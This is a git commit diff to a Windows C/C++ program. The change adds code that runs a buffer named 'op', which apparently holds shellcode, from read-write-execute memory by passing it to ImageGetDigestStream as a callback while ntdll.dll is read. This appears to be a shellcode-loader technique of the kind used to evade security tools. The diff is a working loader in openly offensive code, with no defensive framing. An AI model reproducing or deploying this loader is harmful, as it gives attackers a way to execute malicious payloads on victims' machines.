I am running out of things to put here

This commit is contained in:
S4R1N
2021-03-08 19:32:06 -05:00
parent 802cfa901f
commit 65a96c440a
5 changed files with 233 additions and 2 deletions
+12 -2
View File
@@ -1,6 +1,6 @@
#include <windows.h>
#include <stdio.h>
#include <dbghelp.h>
#include <imagehlp.h>
// Requires Imagehlp.lib
@@ -34,6 +34,16 @@ int main() {
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, op, sizeof(op));
HANDLE hImg = ::CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE dummy;
if (hImg) {
::ImageGetDigestStream(hImg, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, (DIGEST_FUNCTION)addr, &dummy);
::CloseHandle(dummy);
}
::CloseHandle(hImg);
}